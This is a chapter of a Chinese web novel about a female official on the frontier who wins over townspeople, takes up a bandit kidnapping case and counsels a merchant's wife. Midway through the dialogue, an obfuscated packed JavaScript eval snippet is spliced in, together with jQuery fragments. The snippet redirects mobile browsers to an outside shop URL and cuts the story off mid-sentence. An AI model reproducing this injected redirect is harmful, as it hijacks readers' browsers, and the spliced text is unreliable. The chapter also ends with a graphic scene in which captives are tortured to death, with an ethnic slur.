5.第五章

作品:《女官边疆从商实录

    屋内——


    宋玉霖很少感受到这么热闹的氛围了。


    小小一间房子里,坐满了人。


    红柳、梁予、刘拂、楚歌。


    还有她。


    院子里则是满满当当前来道谢的百姓。


    皎月挂在半空,穿过木门的缝隙,在某一刻也照在了宋玉霖的身上。


    她想,或许这就是为官的意义吧。


    她坐在正中间,左右两侧分别是红柳和刘拂,梁予则坐得离她远远的,眼神都不敢与她对视。


    楚歌则独自一人坐在角落,满脸堆着笑意,却不置一语。


    “小姐,门口那些百姓可都认了您了。”红柳笑语盈盈。


    宋玉霖莞尔:“我知道。”


    她内心里涌上一股莫名的暖意,这是在京城的尔虞我诈中从未感受过的温情。


    为官以德,做官为民。


    门外嘈杂十分,可宋玉霖却不觉吵闹。


    “门外百姓大多是商户,大晚上呆久了也影响明日做生意,还是请他们早些回去吧。”宋玉霖品了口茶,举手投足,尽显优雅。


    “他们可就等着见您呢,这……”刘拂有些犹豫。


    “做官若不为民,那又与吃干饭的有何区别?这本是我该做的,若是因为道谢耽误了休息,才是真的流于表面了。”宋玉霖起身,走到门前。


    刚打开门,百姓便拥了过来。


    “宋大人当真是仁义啊!”


    “草民谢宋大人救命之恩!”


    “宋大人若是有何,大可吩咐我等,我等必将马首是瞻!”


    听着他们一通道谢,宋玉霖只觉得脸上有些发烫。


    难得如此受百姓爱戴,她倒有些不适应了。


    “大家伙还是早些回去休息吧,等过些时日,本官多去照顾照顾大家生意。


    “我保证,只要我宋玉霖为官一日,便不会让大家受委屈。”


    “好!”百姓们鼓掌欢呼,随后通通向宋玉霖行了一大礼。


    “快起身快起身!”


    此番过去,宋玉霖便知,她在这边疆算是站住脚了。


    得民心者得天下,此话并非空穴来风。


    红柳忙着在门前送客,宋玉霖就站在门口目送那些百姓离开,内心深处也得到些慰藉。


    只见百姓慢慢散去,院子又变成空荡荡的了,正在宋玉霖黯然之际,远处一位年迈老者频频回头,最后停住了脚步。


    宋玉霖提着衣摆赶忙上前:“老人家,您是遇到什么难事吗?”


    宋玉霖真等着对方回应,却见那老人家直挺挺地跪下,把宋玉霖吓得不轻。


    “快快请起,有何事直接说就好,我能帮的我定然帮!”宋玉霖连忙搀扶。


    那老人家却倔强地不肯起。


    “宋大人,您可得替我做主啊!”


    “您快起来慢慢说。”


    宋玉霖此话一出,那老人家才缓缓起身,跟着宋玉霖进了屋子。


    “您坐下慢慢说。”宋玉霖吩咐红柳为他沏了杯茶,客气称道。


    “宋大人,您有所不知,这宁州城近些日子,那是叫一个民不聊生啊…”那老人说着说着,竟落下泪来,手背尽是褶皱,拭去的那泪顺着沟壑流了下来,“前些日子,我儿子从商路过城郊,他新过门的媳妇也是习过武的,便随他一同前去,谁知……谁知…


    “谁知竟被那城郊野匪劫了去!两人至今下落不明啊……”


    红柳站在一旁,见这老人一把鼻涕一把泪的,也不免动容。


    宋玉霖柔声询问:“那老人家可知他们夫妻二人做的是何生意?行的是哪片城郊?”


    “做的是茶叶生意,行的是北城郊区。”


    宋玉霖点了点头,随后招手示意那一直沉默不语的梁小将军上前:“这城北可有何山匪帮派肆虐?”


    “有是有,不过……”那梁予有些犹豫,不知该不该往下说。


    “但说无妨。”


    “北边山匪长期肆虐,又与胡人有些牵连,怕是不好处理。”梁予冷声说道。


    宋玉霖沉下心思索片刻,转头和那老人家说道:“您先早些回去,这事我记在心上了。”


    听完那老人家便又要跪,但这回被梁予眼疾手快的拉住了。


    “老人家,若此事确凿,我也定会助宋大人一臂之力,您就放心吧。”梁予柔声说道。


    “苍天呐,宁州有您们这样的好官,百姓算是有出头之日了,谢谢谢谢!”


    “红柳,送老人家出门。”


    “是。”


    屋内此时只剩下她和梁予二人。


    刘拂去偏房为楚歌搭脉了,红柳还在送客。


    “世子对此可有高见?”宋玉霖开口问道。


    “去探探虚实。”梁予不知为何,单独处在一间屋子里,见了宋玉霖便立马将视线挪开,自顾自地说,“如果可以,咱可以假装成商户,只要进去了才知道里面到底会发生什么。


    “但……”


    “但什么?”宋玉霖对这个主意十分满意,连忙追问。


    “但我不太想让你冒险,寨子里那些土匪心狠手辣,我不确定能不能护你周全。”


    梁予垂下头,似是觉得这话有歧义,又补充了一句。


    “而且,像你这样的,我怕你拖我后腿。”


    “……嫌本大人拖油瓶呗?”宋玉霖内心想着,刚还觉得这是个木头,现在看来,还是个毒舌的。


    说话忒难听了点。


    “那我一个人去了,你别跟着。”宋玉霖挑着眉佯装生气道。


    果不其然,梁予一把将她拉住。


    “我陪你去…”


    “还有别的选择吗?”宋玉霖翻了个白眼。


    “或者……你陪我去。”


    此话一出,宋玉霖笑出了声。


    “你笑什么?”梁予攥紧了宋玉霖的手腕。


    “没什么,既然如此,你今日便在这打个地铺凑活一晚,明日我们便启程,如何?”宋玉霖反握住梁予手腕,眼神似是恳切,又似是戏弄。


    “嗯……孤男寡女共处一室,不太好,我去柴房守着那两个胡人吧。”梁予猛地抽出手腕,“天色不早了,你早些休息。”


    说罢就转身走了出去,将门推开刚好撞上前来找宋玉霖的刘拂夫人,两人都客气地朝对方点点头,氛围轻松。


    “宋大人,那宴会请帖我已经找下人发出去了,等过些时日您直接来就行。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007013|193982||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “方才……我家那位派人来和我道歉了,估计是不愿得罪您,这一来,我也不知如何是好了……”


    “夫人,你觉得这边疆女子,最大的困境是什么?”宋玉霖开口问道,脸上带着些微笑,眼神却不看面前那人。


    “我?不知……”


    “是这女子一旦嫁人,便像是夫家的一个物件,尊严、身体,都不是属于你的。


    “你恨那些个小妾霸占你的夫君,却不知,她们和你一样,甚至不如你。


    “你和她们的差别就在于,你能通过才智改变现状,而她们只能依靠你夫君的施舍讨生活,除了宠爱和财宝,未来何不是看不到头的迷茫?


    “一生困于那一方宅院中,整日提心吊胆,怕自己年老色衰失了宠,又怕惹了婆婆主母不高兴被赶出家门。”


    “宋大人……”刘拂知道她为何说这些。


    一是因为不忍见她困于宅院中整日勾心斗角;二是因为宋玉霖也是这么过来的。


    她眼睁睁地看着她母亲,就如同刘拂如今这般,虽是主母,却分不得半点宠爱。


    除了初一十五,那是根本见不到夫君的人。


    刘拂如今若得人开导,还有机会走出来,而宋玉霖的娘确实活生生被困死在那一方宅院中。年轻时郁结于心,等年龄大些了更是想不开想不通,最后丢下还未及笈的宋玉霖撒手人寰。


    “陈夫人,你知道我为何想着建立女子商会吗?”宋玉霖抬了眼,双目皆泛着泪花。


    “大人是为了边境女子?”


    宋玉霖摇了摇头。


    “一开始,我只想着借此机会光耀门楣,为得不过是那些可怜的政绩。”她顿了顿,“可如今,边疆百姓生活于水深火热之中,女子处境更甚,他们信我能替他们做主,我又怎能只看那些个人恩怨?只在乎个人成绩?”


    “大人如此,妾身当真佩服。”


    “不必叫我大人,唤我玉霖吧…”


    “玉霖。”


    二人相视一笑。


    柴房内——


    “英雄啊,您便放了我们!我们真的知道错了。”那俩胡人被简单处理了伤口,宋玉霖正欲明日派人送至府衙中,如今被治理了一番,老实得很,“我保证,我们未来都不会踏入宁州城一步!否则天打雷劈!”


    “放了你们?”梁予嘲弄地笑道,面容带着森森寒意,一步步向二人逼近,“不踏入宁州城一步?”


    “对,以后绝不踏入!您大人有大量,放了我们吧!”那人祈求道。


    梁予一脚将那人踢翻。


    “如此一来,岂不是太便宜你们了?”


    “一群杂种,也配和本将军谈条件?”


    梁予从怀中抽出两块布,将两人嘴生生塞住。


    随后拔出剑,直逼二人。


    那两人嘴被塞住,只能发出断断续续的呜咽声。


    寒光乍现,雷厉风行——


    一剑一剑,割在那两人身上。


    不知过了多久,才终于咽了气。


    梁予世子出身名门,家教甚严,可偏偏对胡人恨之入骨。


    怀北军谁人不知这胡人若是落到梁世子手中,那必然是死无全尸,可却没人知道,这究竟是为何?